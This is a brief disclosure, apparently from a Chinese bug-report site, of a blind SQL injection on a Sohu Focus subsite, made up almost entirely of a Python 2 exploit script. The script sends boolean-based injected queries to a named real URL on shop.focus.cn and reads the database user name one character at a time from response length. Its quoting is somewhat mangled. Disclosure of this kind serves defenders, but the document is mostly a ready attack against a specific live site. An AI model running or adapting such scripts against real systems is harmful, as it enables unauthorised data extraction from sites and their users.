搜狐焦点网某分站的一处SQL盲注

import string
 import libs.requests as requests
 payloads = list(string.ascii_lowercase)
 #payloads += list(string.ascii_uppercase)
 for i in range(0,10):
     payloads.append(str(i))
 payloads += ['@','_', '.']
 current_user = ''
 try:
  for i in range(1,22,1):     
      for payload in payloads:
       res = requests.get('http://shop.focus.cn/shop_search/shop_search_map.php?data_id=450288/' AND ascii(mid(user(),%s,1))=%s and /'jaFk/'=/'jaFk&map=id' % (i, ord(payload)),timeout=10)
       if len(res.text) != 1030:
        current_user += payload
        print current_user
 except Exception, e:
  print e
 finally:
  print 'current_user is %s' % current_user